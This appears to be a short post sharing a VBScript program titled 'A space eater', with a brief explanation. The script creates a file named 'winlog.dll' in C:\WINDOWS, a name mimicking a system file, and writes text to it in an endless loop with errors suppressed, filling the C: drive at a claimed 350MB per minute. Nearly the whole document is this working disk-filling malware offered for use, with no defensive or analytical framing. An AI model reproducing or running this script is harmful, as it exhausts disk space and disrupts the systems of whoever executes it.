A space eater VB Code......

dim strDir,strfile,strtxt
dim obfso,obfolder,obshell,obfile,obtxtfile
strDir="C:\WINDOWS"
strfile="\winlog.dll"
strtxt="This Some Dangerous Virus Attacking ur PC"
set obfso=CreateObject("Scripting.FileSystemObject")
if obfso.FileExists(strDir&strfile) then
set obfolder=obfso.getfolder(strDir)
Else
set obfile=obfso.CreateTextfile(strDir & strfile)
do
obfile.writeline(strtxt)
loop
end if
on error resume next
Set obtxtfile=obfso.OpenTextFile(strDir & strfile,8,true)
Set obtxtfile=obfso.OpenTextFile(strDir & strfile,8,true)
do
obtxtfile.writeline(strtxt)
loop
obtxtfile.close()


About This Script :
This Script actually eats up the c: drive space.
It Creates a file named “winlog.dll” in the “C:\WINDOWS” directory
When the script is executed the size of the file “winlog.dll” keeps up increasing approximately 350MB/minute.